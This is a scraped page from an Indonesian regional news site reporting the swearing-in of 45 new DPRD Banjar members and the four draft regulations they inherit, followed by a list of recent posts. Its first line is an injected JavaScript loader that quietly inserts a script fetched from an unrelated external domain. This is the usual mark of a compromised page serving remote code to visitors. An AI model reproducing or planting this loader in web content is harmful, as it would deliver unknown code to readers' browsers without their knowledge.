(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Besok Dilantik, 45 Anggota Baru DPRD Banjar Dapat Warisan 4 Raperda


MARTAPURA, Sebanyak 45 anggota baru DPRD Banjar akan dilantik Rabu (4/9) pagi di gedung DPRD Kabupaten Banjar Jalan A Yani Km 40 Martapura. Di hari pertama menjabat, mereka pun langsung mendapatkan ‘kado’ 4 Raperda yang tak sempat dijamah dewan sebelumnya.

Prosesi pelantikan anggota legislatif Kabupaten Banjar periode 2019-2024 ditandai pengambilan sumpah dan janji oleh Ketua PN Martapura Makmurin Kusumastuti SH, MH, terhadap 45 anggota legislatif yang terpilih pada Pileg lalu.

Hari ini, kesibukan terlihat di kesekretariatan DPRD. Persiapan itu seperti pembersihan ruang utama sidang paripurna istimewa di Lantai II. Kemudian di lantai dua itu pula terdapat ruang pimpinan terdiri ketua dan tiga wakil ketua, yang turut ditata ulang.

Beralih di Lantai III disediakan untuk para tamu dan undangan. Tak berbeda jauh, di bagian depan yakni di halaman disediakan tempat duduk bagi para tamu dan undangan lainnya.

Menurut anggota KPU Banjar, Abdul Karim Omar, pelantikan anggota baru juga akan mengundang berbagai tamu. Mulai Bupati, Wakil Bupati, jajaran Forkopimda, organisasi kemasyarakatn, tokoh, dan lainnya. “Kita berdoa semoga acara besok berlangsung lancar,” katanya.

Sebelumnya, Wakil Ketua DPRD Banjar, Saidan Pahmi menyampaikan, masih ada 4 perda yang tidak bisa diselesaiakan dewan lama. “Waktu yang terbatas, sehingga 4 Raperda tidak sempat kita selesaikan. Selanjutnya keempat Raperda akan diselesaikan Anggota DPRD Banjar periode  2019-2024 yang akan dilantik 4 September mendatang,” katanya.

Keempat Raperda yang akan diwariskan kepada Anggota DPRD Banjar yang baru ungkap Saidan, yakni Raperda perubahan Badan Hukum PDAM Intan Banjar menjadi PT, PD Baramarta, PD Pasar Bauntung Batuah, dan perubahan Raperda tentang RTRW.

“Semua Raperda tersebut sudah diparipurnakan, tetapi belum bisa diambil keputusan, karena belum selesai di pembahasan. Jadi 4 Raperda tersebut jadi PR bagi Anggota DPRD berikutnya dan biarlah menjadi keputusan politik mereka,” ungkapnya. (rendy)

Reporter : Rendy
Editor : Cell

Desy Arfianty

Recent Posts

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

3 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

4 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

4 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

5 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

5 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

5 jam ago

This website uses cookies.